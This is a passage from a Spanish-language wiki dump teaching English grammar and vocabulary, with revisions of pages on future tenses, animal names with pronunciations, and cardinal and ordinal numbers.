Ejemplos:
To be(ser/estar) se hace being
To jump(saltar) se hace jumping
To come(venir)... coming (cambia porque de pronunciación con el &quot;e&quot; en &quot;come&quot;)
To eat(comer)...eating
To drink(beber)...drinking
To swim(nadar)...swimming
To buy(comprar)... buying

Frases:

1. He will have been driving for a year when it is the year 2009.
El (va a haber)/(habrá) (manejado)/(estado manejando) por un año cuando es el año 2009.

2. I will have been working at this company for five years tomorrow.
Yo voy a haber/habré trabajado/estado trabajando en esta compañía por cinco años mañana.


Esta muestra las cuatro maneras de hacer el futuro perfecto progresivo en español cuando hay una única manera en inglés.

== Futuro progresivo ==

Usos del futuro continuo

Acciones que van a tener lugar en el futuro y que, al momento
del tiempo al que nos referimos, seguirán desarrollándose. No siempre se menciona en la oración el momento del futuro.

'''We will be watching TV.''' 
''Estaremos viendo televisión.'' 

'''Tonight we will be watching TV.''' 
''Esta noche estaremos viendo televisión.'' 
 
'''She will be visiting me.''' 
''Me estará visitando.''

'''She will be visiting me on Sunday.''' 
''Me estará visitando el domingo.''

'''i will travel to Guatemala by car'''
''yo viajare a Guatemala en carro''

Expresiones usuales del futuro continuo

tomorrow - the day after tomorrow - in 2010
next sunday - next week - next month - next year

I will travel to Guatemala in the car 

we wont be able to go to the park and fly our kites________________the wind______________this afternoon?

== Futuro simple ==

Existen dos formas básicas de crear el futuro en Inglés. La primera es utilizar la palabra &quot;will&quot; delante del verbo en infinitivo, por ejemplo &quot;I will run&quot;, que significa &quot;Yo correré&quot;. La segunda es colocar &quot;going to&quot; seguido, al igual que en &quot;will&quot;, del verbo en infinitivo, pero además se debe colocar delante de &quot;going to&quot; el verbo &quot;to be&quot; conjugado, por ejemplo &quot;I am going to run&quot;, que sería &quot;Yo voy a correr&quot;. El primer caso es generalmente utilizado cuando es una acción que se decide en el momento y promesas, mientras que el segundo está más relacionado a planes e intenciones.

Sarah: These bags are heavy (Estas bolsas son pesadas)
Tom: I will help you (Te ayudaré)
Sarah: I am going to buy food tomorrow (Compraré alimento mañana)

Para la negación simplemente se agrega la palabra &quot;not&quot;. En el caso de &quot;will&quot; se coloca delante (&quot;I will not help you&quot;) y en &quot;going to&quot; detràs (&quot;I am 'not' going to&quot;).

Will puede ser abreviado como 'll, por ejemplo: I'll help you.
I'll - I will
you'll - you will
she'll - she will
he'll - he will
we'll - we will
they'll - they will

Will not se abrevia como won't, por ejemplo: I won't help you.

== Futuro perfecto ==

Sirve para indicar la duración de una acción. Expresa una acción que terminará en un determinado momento del futuro.

'''Sujeto + futuro de &quot;to have&quot; + participio'''

They will have written the novel by next month.
Ellos habrán escrito la novela para el mes que entra.

== Futuro expresado mediante cláusulas de tiempo ==
Recordemos que las cláusulas de tiempo son palabras que ayudan a expresar algún momento de tiempo en específico, en este caso algo a futuro hasta que algo más pase, veamos unos ejemplos de cláusulas de tiempo.

* Until (Hasta que)
* Before (Antes)
* After (Después)
* As soon (Tan pronto)
* Once (Una vez)
* Unless (A menos que)

Para formar una oración empleándolas debemos tener en cuenta la estructura del primer condicional (causa-efecto).

'''If + sujeto + verbo en presente simple + complemento + sujeto + will + verbo + complemento'''.

Dado que if no es necesario en este momento, será sustituido por una cláusula de tiempo con el fin de formar las oraciones, hay que tener en cuenta que se pueden formar oraciones de esta manera empleando Will o Going to.

* Before i publish this edit i will check it first. (Antes de que publique esta edición la checaré primero)
* As soon as Maria finish her class, her mother will pick up her. (Tan pronto como Maria finalice su clase, su mamá la recogerá)
* Unless I receive an interesting job offer i’m not going to move to another city. (A menos que reciba una interesante oferta de trabajo no me voy a mover a otra ciudad)
* The students are going to come back to school after vacations. (Los estudiantes volverán a la escuela después de las vacaciones)

Debemos también notar que no importa cuál tiempo usemos primero el presente o el futuro, el resultado será el mismo (Describir acciones de causa-efecto).

[[Categoría:Inglés|Futuro progresivo]]
[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>0mtfq7l9d930krn42uuepuamp2l6cyj</sha1>
    </revision>
    <revision>
      <id>429903</id>
      <parentid>429811</parentid>
      <timestamp>2026-08-01T22:09:11Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429903</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="13505" sha1="2gbojjngn6wnuhh42ob3dstklmicv3q" xml:space="preserve">Existen dos formas básicas de crear el futuro en Inglés. La primera es utilizar la palabra &quot;will&quot; o el &quot;shall&quot; antes del verbo en infinitivo sin la partícula &quot;to&quot; (forma base del verbo), por ejemplo &quot;I will run&quot;, que significa &quot;Yo correré&quot;. La segunda es colocar &quot;going to&quot; seguido, al igual que en &quot;will&quot;, del verbo en infinitivo, pero además se debe colocar atrás de &quot;going to&quot; el verbo &quot;to be&quot; conjugado, por ejemplo &quot;I am going to run&quot;, que sería &quot;Yo voy a correr&quot;. El primer caso es generalmente utilizado cuando es una acción que se decide en el momento y promesas, mientras que el segundo está más relacionado con planes e intenciones.

=== '''Afirmativa''' ===

'''SUJETO + WILL + Verbo infinitivo'''

{| class=&quot;wikitable&quot; 

|-
| I will || I'll
|-
| you will || you'll
|-
| he will || he'll
|-
| she will || she'll
|-
| it will || it'll
|-
| we will || we'll
|-
| you will || you'll
|-
| they will || they'll
|}

* '''Will''' puede ser abreviado como ''' 'll''', por ejemplo: '''I'll help you.'''


* '''Sarath''': These bags are heavy (Estas bolsas son pesadas)
* '''Tom''': I will help you (Te ayudaré)
* '''Sarath''': I am going to buy food tomorrow (Voy a comprar comida mañana)

==== '''Negativa''' ====

''' SUJETO + WILL NOT / WON'T + Verbo infinitivo'''

{| class=&quot;wikitable&quot;
|-
| I will not || I won't
|-
| you will not || you won't
|-
| he will not || he won't
|-
| she will not || she won't
|-
| it will not || it won't
|-
| we will not || we won't
|-
| you will not || you won't
|-
| they will not || they won't
|}
Para la negación simplemente se agrega la palabra &quot;not&quot;. En el caso de &quot;will&quot; se coloca delante (&quot;I will not help you&quot;) y en &quot;going to&quot; detràs (&quot;I am 'not' going to&quot;).


'''Will not''' se abrevia como '''won't''', por ejemplo: '''I won't help you.'''

==== '''Interrogativa''' ====

''' WILL + SUJETO + Verbo infinitivo ... ? '''


{| class=&quot;wikitable&quot;
|-
| Will i ... ?
|-
| Will you ... ?
|-
| Will he ... ?
|}

* '''Will'''
* El futuro, en los verbos castellanos, tiene sus complicaciones. ¡Esto no ocurre en inglés! Anteponga '''will''' a la forma verbal y ya se acabó. Así, '''He goes home''' (él va a casa) es, en futuro, '''He'll go home''' (él irá a casa).


* '''Shall'''
* Lo mismo que '''will''', '''shall''' auxilia al verbo para indicar el futuro. Esta forma se utiliza generalmente para las primeras personas, singular y plural (Yo, Nosotros), mientras '''will''' se deja para los restantes.

* '''WILL''' o '''SHALL''', delante de una forma verbal cualquiera, '''significan que está en futuro'''.


* '''I shall go''' (Yo iré)
* '''You will go''' (Tú irás, usted irá)
* '''He, she, it will go''' (El, ella, ello irá)
* '''We shall go''' (Nosotros iremos)
* '''You will go''' (Vosotros iréis, ustedes irán)
* '''They will go''' (Ellos, ellas irán)

En las gramáticas inglesas fijan las siguientes reglas para formar el futuro:

a) Cuando la acción que se ha de expresar en futuro indica mero porvenir, o sea, cuya realización no depende del que habla, se utiliza:
* '''SHALL''' para '''I, we.'''
* '''WILL''' para '''you, he, she, it, you, they.'''

b) Cuando la acción que se ha de expresar en futuro indica ''voluntad de hacer'', o sea, cuya realización depende del que habla, se utiliza:
* '''WILL''' para '''I, we.'''
* '''SHALL''' para '''you, he, she, it, you, they.'''

c) El futuro debe indicarse con el auxiliar '''will''' o '''shall''' y el infinitivo del verbo principal, del que ha de eliminar la partícula '''to''' (partícula que indica '''precisamente''' el infinitivo. Así, '''to be''' equivale a nuestro ''ser''; '''to go''', ''ir''; '''to have''', ''tener'', etc.).

d) Para formar el futuro en las frases interrogativas, negativas e interrogativo-negativas, debe proceder así:
* 1. Si la frase es interrogativa, el pronombre ha de ir entre '''will''' o '''shall''' y el verbo principal:
'''Will they go to New York?''' (¿Irán -ellos- a Nueva York?)
* 2. Si la frase es negativa, la partícula '''not''' va detrás de '''will''' o '''shall''', y sigue luego el verbo principal:
'''They will not go to New York''' (Ellos no irán a Nueva York)
* 3. Si la frase es interrogativo-negativa, se inicia con el auxiliar '''will'' o '''shall''', sigue el pronombre y luego la partícula '''not''' que antecede al verbo principal:
'''Will they not go to New York? (¿No irán ellos a Nueva York?)


* '''Futuro realizado'''

* Nuestro ''ir a'' se traduce en inglés por '''to be going to''' (estar yendo a)
* Con '''to be going to''' expresamos ese ''futuro'' que está bajo nuestro absoluto control, un porvenir ''en el bolsillo'' de uno, porque todo lo tiene previsto y ni nadie ni nada puede impedir que sea realidad en su día.
* '''I am going to New York next month'''

* Quede bien entendido, pues, que un inglés usará la forma continua del verbo '''to go (going to...)''' para expresar ''futuro realizado'' y se entenderá por ''realizada'' toda expresión de porvenir en la que deba manifestar el que habla '''la seguridad absoluta''' de su posterior realizacion.
* Y ¿que ocurre cuando no tenemos esta seguridad?
* Es ahora cuando vuelven a intervenir los auxiliares '''shall''' y '''will'''.


* Analisis de '''SHALL''' y '''WILL'''.

* a) Simple porvenir
* I '''shall'''
* you will
* he will
* we '''shall'''
* you will
* they will

b) Voluntad, orden o promesa
* I '''will'''
* you shall
* he shall 
* we '''will'''
* you shall
* they shall

* Si solamente quiero afirmar una cosa que sucederá en el porvenir; algo que no depende de mi voluntad sino de la de los otros (como sería, por ejemplo, que ''me llevaran'' en lugar de ''ir por mi cuenta''), habré de decir en inglés:
* '''I SHALL BE in Sevilla tomorrow''' (Mañana '''estaré''' en Sevilla)
* Pero si es una determinación mía el ir a Sevilla y el ''estar'' en Sevilla mañana, en inglés debo decir:
* '''I WILL BE in Sevilla tomorrow''' (Mañana '''estaré''' en Sevilla)
* ''' Raziel Will be in love with you for ever!


* Recurso

* Si tiene alguna duda en cuanto a cuál ha de ser el auxiliar ('''will''' o '''shall''') a emplear para formar el futuro:
* '''Utilice WILL para todas las personas y ya vale.'''
* Recuerde que '''will''' expresa mero porvenir si nos referimos a los demás, y voluntad si nos referimos a nosotros mismos.
* Los ingleses han comprendido esto y el recurso que le ofrecemos para evitarse quebraderos de cabeza lo usan siempre.
* '''I'll see you to-morrow'''
* Esto puede decir:
* '''I shall see you...''' o bien '''I will see you...'''
* Con ''ll'' los ingleses ''se lavan las manos'' y dejan a la opinión de los demás el interpretar si se trata de un deseo o de una orden.

* Cabe citar que ''shall'', ya no se suele usar, es una palabra, que con el paso del tiempo, se ha vuelto un arcaismo,&lt;br /&gt; o de poco uso. Actualmente solo se usa ''will''.

== Resumen con los correspondientes ejemplos ==

Para formar el futuro simple necesitamos colocar &quot;will&quot; (no se traduce al español, sólo traduciremos el otro verbo en futuro) seguido de otro verbo. A veces podemos encontrar la forma &quot;shall&quot; en vez de &quot;will&quot; para las personas &quot;I&quot; (yo) y &quot;we&quot; (nosotros). 

* '''''I shall''' buy a book on computers.'' - Me compraré un libro sobre ordenadores
* '''''They will''' play football again very soon. '' - Jugarán al fútbol muy pronto otra vez.
* ''Jared, '''I will''' always love you.'' - Jared, siempre te querré.

Para la forma negativa usamos &quot;not&quot; (no) detrás de &quot;will&quot; o &quot;shall&quot;. 

* ''I will not ('''won't''') go to the cinema with them.'' - No iré al cine con ellos
* ''We will not ('''won't''') stay in that hotel ever again.'' - No nos alojaremos en ese hotel nunca más

Para la forma interrogativa colocamos &quot;will&quot; o &quot;shall&quot; delante de la persona. 

* '''''Will you''' go abroad some time?'' - ¿Irás al extranjero alguna vez?
* '''''Will they''' finish that course they started?'' - ¿Terminarán ese curso que empezaron?

== Futuro perfecto progresivo ==

El futuro perfecto progresivo significa acciones continuas en el futuro perfecto, este dice que cuando una acción en el futuro va a ser una acción continua que ya ha pasado antes de un en comparación con una otra acción en el futuro. Esta forma de los verbos no es muy corriente, y no se escucha casi nunca excepto en libros. 

Para formar el futuro perfecto progresivo en inglés, ponga el futuro perfecto del verbo &quot;to be&quot; antes del gerundio del verbo. En español esta forma del verbo es igual como el futuro perfecto normalmente, pero se forma también por usando el método dicho en la frase previa si quiere énfasis.

La conjugación en inglés es

I will have been ...ing
You will have been ...ing
He/She/It will have been ...ing
We will have been ...ing
You will have been ...ing
They will have been ...ing

Para formar el gerundio en inglés, use el infinitivo del verbo y añada &quot;ing&quot;

Ejemplos:
To be(ser/estar) se hace being
To jump(saltar) se hace jumping
To come(venir)... coming (cambia porque de pronunciación con el &quot;e&quot; en &quot;come&quot;)
To eat(comer)...eating
To drink(beber)...drinking
To swim(nadar)...swimming
To buy(comprar)... buying

Frases:

1. He will have been driving for a year when it is the year 2009.
El (va a haber)/(habrá) (manejado)/(estado manejando) por un año cuando es el año 2009.

2. I will have been working at this company for five years tomorrow.
Yo voy a haber/habré trabajado/estado trabajando en esta compañía por cinco años mañana.


Esta muestra las cuatro maneras de hacer el futuro perfecto progresivo en español cuando hay una única manera en inglés.

== Futuro progresivo ==

Usos del futuro continuo

Acciones que van a tener lugar en el futuro y que, al momento
del tiempo al que nos referimos, seguirán desarrollándose. No siempre se menciona en la oración el momento del futuro.

'''We will be watching TV.''' 
''Estaremos viendo televisión.'' 

'''Tonight we will be watching TV.''' 
''Esta noche estaremos viendo televisión.'' 
 
'''She will be visiting me.''' 
''Me estará visitando.''

'''She will be visiting me on Sunday.''' 
''Me estará visitando el domingo.''

'''i will travel to Guatemala by car'''
''yo viajare a Guatemala en carro''

Expresiones usuales del futuro continuo

tomorrow - the day after tomorrow - in 2010
next sunday - next week - next month - next year

I will travel to Guatemala in the car 

we wont be able to go to the park and fly our kites________________the wind______________this afternoon?

== Futuro simple ==

Existen dos formas básicas de crear el futuro en Inglés. La primera es utilizar la palabra &quot;will&quot; delante del verbo en infinitivo, por ejemplo &quot;I will run&quot;, que significa &quot;Yo correré&quot;. La segunda es colocar &quot;going to&quot; seguido, al igual que en &quot;will&quot;, del verbo en infinitivo, pero además se debe colocar delante de &quot;going to&quot; el verbo &quot;to be&quot; conjugado, por ejemplo &quot;I am going to run&quot;, que sería &quot;Yo voy a correr&quot;. El primer caso es generalmente utilizado cuando es una acción que se decide en el momento y promesas, mientras que el segundo está más relacionado a planes e intenciones.

Sarah: These bags are heavy (Estas bolsas son pesadas)
Tom: I will help you (Te ayudaré)
Sarah: I am going to buy food tomorrow (Compraré alimento mañana)

Para la negación simplemente se agrega la palabra &quot;not&quot;. En el caso de &quot;will&quot; se coloca delante (&quot;I will not help you&quot;) y en &quot;going to&quot; detràs (&quot;I am 'not' going to&quot;).

Will puede ser abreviado como 'll, por ejemplo: I'll help you.
I'll - I will
you'll - you will
she'll - she will
he'll - he will
we'll - we will
they'll - they will

Will not se abrevia como won't, por ejemplo: I won't help you.

== Futuro perfecto ==

Sirve para indicar la duración de una acción. Expresa una acción que terminará en un determinado momento del futuro.

'''Sujeto + futuro de &quot;to have&quot; + participio'''

They will have written the novel by next month.
Ellos habrán escrito la novela para el mes que entra.

== Futuro expresado mediante cláusulas de tiempo ==
Recordemos que las cláusulas de tiempo son palabras que ayudan a expresar algún momento de tiempo en específico, en este caso algo a futuro hasta que algo más pase, veamos unos ejemplos de cláusulas de tiempo.

* Until (Hasta que)
* Before (Antes)
* After (Después)
* As soon (Tan pronto)
* Once (Una vez)
* Unless (A menos que)

Para formar una oración empleándolas debemos tener en cuenta la estructura del primer condicional (causa-efecto).

'''If + sujeto + verbo en presente simple + complemento + sujeto + will + verbo + complemento'''.

Dado que if no es necesario en este momento, será sustituido por una cláusula de tiempo con el fin de formar las oraciones, hay que tener en cuenta que se pueden formar oraciones de esta manera empleando Will o Going to.

* Before i publish this edit i will check it first. (Antes de que publique esta edición la checaré primero)
* As soon as Maria finish her class, her mother will pick up her. (Tan pronto como Maria finalice su clase, su mamá la recogerá)
* Unless I receive an interesting job offer i’m not going to move to another city. (A menos que reciba una interesante oferta de trabajo no me voy a mover a otra ciudad)
* The students are going to come back to school after vacations. (Los estudiantes volverán a la escuela después de las vacaciones)

Debemos también notar que no importa cuál tiempo usemos primero el presente o el futuro, el resultado será el mismo (Describir acciones de causa-efecto).

{{AutoCat}}</text>
      <sha1>2gbojjngn6wnuhh42ob3dstklmicv3q</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Animales</title>
    <ns>0</ns>
    <id>6267</id>
    <revision>
      <id>429831</id>
      <parentid>398295</parentid>
      <timestamp>2026-08-01T22:03:27Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429831</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2590" sha1="d37werio3bmcd1wmt5cx1o7ma5wfaz0" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;
{| class=&quot;wikitable sortable&quot;      
|-                                   
! Castellano !! Inglés !! Pronunciación
|-
|Perro||Dog||/dɒɡ/
|-
|Gato||Cat||/kæt/
|-
|Pájaro||Bird||/bɜːd/
|-
|Búho||Owl||/aʊl/
|-
|Vaca||Cow||/kaʊ/
|-
|Becerro-novillo|| Calf||/kɑːf/
|-
|Buey||Ox||/ɒks/
|-
|Cabra||Goat||/ɡəʊt/
|-
|Caballo||Horse||/hɔːs/
|-
|Poni||Pony||/ˈpəʊnɪ/
|-
|Oveja||Sheep||/ʃiːp/
|-
|Puerco-porcino||Pig||/pɪɡ/ 
|-
|Conejo||Rabbit||/ˈræbɪt/
|-
|Ratón||Mouse||/maʊs/
|-
|Asno||Donkey||/ˈdɒŋkɪ/
|-
|Hámster||Hamster||/ˈhæmstə/
|-
|Conejillo de indias|| Guinea pig||/ˈgɪni ˌpɪg/
|-
|Gallo||Rooster||/ˈruːstə/
|-
|Gallina||Hen||/hɛn/
|-
|Pollo||Chicken||/ˈtʃɪkɪn/
|-
|Ganso||Goose||/ɡuːs/
|-
|Pato||Duck||/dʌk/
|-
|Pavo||Turkey||/ˈtɜːkɪ/
|-
|Cuervo||Crow||/krəʊ/
|-
|Culebra||Snake||/sneɪk/
|-
|Oso||Bear||/bɛə/
|-
|Halcón||Hawk||/hɔːk/
|-
|Aguila||Eagle||/ˈiːɡəl/
|-
|Pez||Fish||/fɪʃ/
|-
|Araña||Spider||/ˈspaɪdə/
|-
| Mono || Monkey||/ˈmʌŋkɪ/
|-
|Ballena||Whale||/weɪl/
|-
|Foca|| Seal||/siːl/
|-
|Panda||Panda||/ˈpændə/
|-
|Jirafa || Giraffe||/dʒɪˈrɑːf/
|-
|León|| Lion||/ˈlaɪən/
|-
|Tigre||Tiger||/ˈtaɪɡə/
|-
|Luciernagas||Firefly||/ˈfaɪəˌflaɪ/
|-
|Chivo||Kid||/kɪd/
|-
|Pantera||Panther||/ˈpænθə/
|-
|Elefante||Elephant||/ˈɛlɪfənt/
|-
|Toro||Bull||/bʊl/
|-
|Tiburón||Shark||/ʃɑːk/
|-
|Cocodrilo||crocodile||/ˈkrɒkəˌdaɪl/
|-
|Lagarto||Lizard||/ˈlɪzəd/
|-
|Caimán||Alligator||/ˈælɪˌɡeɪtə/
|-
|Cebra||Zebra||/ˈzɛbrə/
|-
|Iguana||Iguana||/ɪˈɡwɑːnə/
|-
|Gorila||Gorilla||/ɡəˈrɪlə/
|-
|Cangrejo||Crab||/kræb/
|-
|Canguro||Kangaroo||/kæŋɡəˈruː/
|-
|Pingüino||Penguin||/ˈpɛŋɡwɪn/
|-
|Murciélago||Bat||/bæt/
|-
|Caracol||Snail||/sneɪl/
|-
|Tortuga||Turtle||/ˈtɜːtəl/
|-
|Pulpo||Octopus||/ˈɒktəpəs/
|-
|Hormiga||Ant||/ænt/
|-
|Lombriz||Worm||/wɜːm/
|-
|Delfin||Dolphin||/ˈdɒlfɪn/
|-
|Abeja||Bee||/biː/
|-
|Ardilla||Squirrel||/ˈskwɪrəl/
|-
|Avestruz||Ostrich||/ˈɒstrɪtʃ/
|-
|Castor||Beaver||/ˈbiːvə/
|-
|Ciervo||Deer||/dɪə/
|-
|Lobo||Wolf||/wʊlf/
|-
|Coyote||Coyote||/ˈkɔɪəʊt/
|-
|Escorpión||Scorpion||/ˈskɔːpɪən/
|-
|Flamenco||Flamingo||/fləˈmɪŋɡəʊ/
|-
|Ornitorrinco||Platypus||/ˈplætɪpəs/
|-
|Cienpiés||Centipede||/ˈsɛntɪˌpiːd/
|-
|Avispa||Wasp||/wɒsp/
|-
|Lince||Lynx||/lɪŋks/
|-
|Buitre||Vulture||/ˈvʌltʃə/
|-
|Loro||Parrot||/ˈpærət/
|-
|Zanate||Raven||/ˈreɪvən/
|-
|Urraca||Magpie||/ˈmæɡˌpaɪ/
|-
|}

{{AutoCat}}</text>
      <sha1>d37werio3bmcd1wmt5cx1o7ma5wfaz0</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/Numerales</title>
    <ns>0</ns>
    <id>6269</id>
    <revision>
      <id>429851</id>
      <parentid>279566</parentid>
      <timestamp>2026-08-01T22:05:05Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429851</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4508" sha1="nfcbe1c8f9zcnmannnb492fot6uyq30" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;
===Adjetivos numerales===

*A excepción de ''primero'', ''segundo'' y ''tercero'', el resto sigue una regla prácticamente fija; se añade '''th'''.

*Cuando se trata de un número compuesto, '''th''' se añade al último componente. 

*En cuanto a las abreviaturas, se indican mediante la cifra seguida de las dos últimas letras del adjetivo numeral correspondiente.

*'''Español'''

*primero
*segundo
*tercero
*cuarto
*quinto
*sexto
*séptimo
*octavo
*noveno
*décimo
*duodécimo
*vigésimo primero, etc.

*'''Inglés'''

*'''first'''
*'''second'''
*'''third'''
*'''fourth'''
*'''fifth''' 
*'''sixth'''
*'''seventh'''
*'''eighth'''
*'''ninth'''
*'''tenth'''
*'''twelfth'''
*'''twenty-first'''


*'''Abreviaturas'''

*'''1st'''
*'''2nd'''
*'''3rd'''
*'''4th'''
*'''5th'''
*'''6th'''
*'''7th'''
*'''8th'''
*'''9th'''
*'''10th'''
*'''12th'''
*'''21st'''


[[Categoría:Inglés|{{SUBPAGENAME}}]]
== Números ==

'''0''' - '''zero'''
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot;
|+ style=&quot;font-size:18px&quot;|Números cardinales (en los Estados Unidos)
|+ style=&quot;font-size:18px&quot;|'''Cardinal Numbers'''
| style=&quot;font-size:15px&quot; align=&quot;center&quot;|'''Inglés''' ||style=&quot;font-size:15px&quot; align=&quot;center&quot;| '''Nº'''||   || style=&quot;font-size:15px&quot; align=&quot;center&quot;|'''Inglés''' ||style=&quot;font-size:15px&quot; align=&quot;center&quot;| '''Nº'''

|-
| '''one'''||1 || ||  '''twenty''' ||20
|-
| '''two'''||2 || ||  '''thirty''' ||30
|-
| '''three'''||3|| ||  '''forty'''||40 Ejemplo: I've got forty books (Tengo cuarenta libros)
|-
| '''four'''||4|| ||  '''fifty'''||50
|-
| '''five'''||5|| || '''sixty'''||60
|-
| '''six'''||6|| || '''seventy'''||70
|-
| '''seven'''||7|| || '''eighty'''||80
|-
| '''eight'''||8|| || '''ninety'''||90
|-
|  '''nine'''||9|| || '''one/a hundred'''||100
|-
|  '''ten'''||10|| || '''thousand'''||1,000
|-
|  '''eleven'''||11|| || '''a million'''||1,000,000
|-
|  '''twelve'''||12|| || '''a billion'''||1,000,000,000
|-
|  '''thirteen'''||13|| || '''a trillion'''||1,000,000,000,000
|-
|  '''fourteen'''||14|| || '''a quadrillion'''||1,000,000,000,000,000
|-
|  '''fifteen'''||15|| || '''a quintillion'''||1,000,000,000,000,000,000
|-
|  '''sixteen'''||16
|-
|  '''seventeen'''||17
|-
|  '''eighteen'''||18
|-
|  '''nineteen'''||19
|}


*Cuando se trata de un número compuesto de centenas, decenas y unidades, entre el ''ciento'' y la unidad o decena intercalará usted la partícula '''and'''. Así:
**One hundred and five - 105
**Nine hundred and ninety-nine - 999

*Al pasar a los millares utilizará '''thousand''' (millar), siguiendo la misma regla que para las centenas.
*En ciertos contextos (al citar un año comprendido entre el mil y el dos mil, o al hablar de cantidades de dinero) no suele hacerse como entre nosotros, sino citándolo de una forma peculiar. Así, 1953 se expresa '''Nineteen hundred and fifty-three''' (diez y nueve cientos, cincuenta y tres), y 1500$ son '''fifteen hundred dollars'''.
*En lenguaje familiar, uno se ''ahorra'' las centenas y dice, simplemente, '''Nineteen fifty-three'''. O sea, diez y nueve, cincuenta y tres.
*En inglés, ''billion'', ''trillion'' y sucesivos no representan la misma cantidad que el billón, trillón, ... en español: 
**1,000,000,000 son mil millones en español, y ''one billion'' en inglés.
**1,000,000,000,000 es un billón en español, pero ''one trillion'' en inglés.
==Numeros Ordinales==
'''first'''  '''1st''' (1º) 

'''second'''  '''2nd''' (2º)

'''third'''  '''3rd''' (3º)

'''fourth'''  '''4th''' (4º) 

'''fifth'''  '''5th''' (5º)

'''sixth'''  '''6th''' (6º)

'''seventh'''  '''7th ''' (7º)

'''eighth'''  '''8th''' (8º)

'''ninth'''  '''9th''' (9º)

'''tenth'''  '''10th''' (10º)

'''eleventh'''  '''11th''' (11º)

'''twelfth'''  '''12th''' (12º)

'''thirteenth'''  '''13th''' (13º)

'''fourteenth'''  '''14th''' (14º)

'''fifteenth'''  '''15th''' (15º)

'''sixteenth'''  '''16th''' (16º)

'''seventeenth'''  '''17th''' (17º)

'''eighteenth'''  '''18th''' (18º)

'''nineteenth'''  '''19th''' (19º)

'''twentieth'''  '''20th''' (20º)

'''thirtieth'''  '''30th''' (30º)

'''fortieth'''  '''40th''' (40º)

'''fiftieth'''  '''50th''' (50º)

'''sixtieth'''  '''60th''' (60º)

'''seventieth'''  '''70th''' (70º)

'''eightieth'''  '''80th''' (80º) 

'''ninetieth'''  '''90th''' (90º)

'''hundredth'''  '''100th''' (100º)

'''thousandth'''  '''1000th''' (1000º)

'''millionth'''  '''1000000th''' (1000000º)

[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>nfcbe1c8f9zcnmannnb492fot6uyq30</sha1>
    </revision>
    <revision>
      <id>429901</id>
      <parentid>429851</parentid>
      <timestamp>2026-08-01T22:09:11Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429901</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4429" sha1="so6et5xuby0ddnuxvqqo2d25hvsh4sm" xml:space="preserve">&lt;noinclude&gt;{{+ÍndiceSección}}&lt;/noinclude&gt;
===Adjetivos numerales===

*A excepción de ''primero'', ''segundo'' y ''tercero'', el resto sigue una regla prácticamente fija; se añade '''th'''.

*Cuando se trata de un número compuesto, '''th''' se añade al último componente. 

*En cuanto a las abreviaturas, se indican mediante la cifra seguida de las dos últimas letras del adjetivo numeral correspondiente.

*'''Español'''

*primero
*segundo
*tercero
*cuarto
*quinto
*sexto
*séptimo
*octavo
*noveno
*décimo
*duodécimo
*vigésimo primero, etc.

*'''Inglés'''

*'''first'''
*'''second'''
*'''third'''
*'''fourth'''
*'''fifth''' 
*'''sixth'''
*'''seventh'''
*'''eighth'''
*'''ninth'''
*'''tenth'''
*'''twelfth'''
*'''twenty-first'''


*'''Abreviaturas'''

*'''1st'''
*'''2nd'''
*'''3rd'''
*'''4th'''
*'''5th'''
*'''6th'''
*'''7th'''
*'''8th'''
*'''9th'''
*'''10th'''
*'''12th'''
*'''21st'''


== Números ==

'''0''' - '''zero'''
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot;
|+ style=&quot;font-size:18px&quot;|Números cardinales (en los Estados Unidos)
|+ style=&quot;font-size:18px&quot;|'''Cardinal Numbers'''
| style=&quot;font-size:15px&quot; align=&quot;center&quot;|'''Inglés''' ||style=&quot;font-size:15px&quot; align=&quot;center&quot;| '''Nº'''||   || style=&quot;font-size:15px&quot; align=&quot;center&quot;|'''Inglés''' ||style=&quot;font-size:15px&quot; align=&quot;center&quot;| '''Nº'''

|-
| '''one'''||1 || ||  '''twenty''' ||20
|-
| '''two'''||2 || ||  '''thirty''' ||30
|-
| '''three'''||3|| ||  '''forty'''||40 Ejemplo: I've got forty books (Tengo cuarenta libros)
|-
| '''four'''||4|| ||  '''fifty'''||50
|-
| '''five'''||5|| || '''sixty'''||60
|-
| '''six'''||6|| || '''seventy'''||70
|-
| '''seven'''||7|| || '''eighty'''||80
|-
| '''eight'''||8|| || '''ninety'''||90
|-
|  '''nine'''||9|| || '''one/a hundred'''||100
|-
|  '''ten'''||10|| || '''thousand'''||1,000
|-
|  '''eleven'''||11|| || '''a million'''||1,000,000
|-
|  '''twelve'''||12|| || '''a billion'''||1,000,000,000
|-
|  '''thirteen'''||13|| || '''a trillion'''||1,000,000,000,000
|-
|  '''fourteen'''||14|| || '''a quadrillion'''||1,000,000,000,000,000
|-
|  '''fifteen'''||15|| || '''a quintillion'''||1,000,000,000,000,000,000
|-
|  '''sixteen'''||16
|-
|  '''seventeen'''||17
|-
|  '''eighteen'''||18
|-
|  '''nineteen'''||19
|}


*Cuando se trata de un número compuesto de centenas, decenas y unidades, entre el ''ciento'' y la unidad o decena intercalará usted la partícula '''and'''. Así:
**One hundred and five - 105
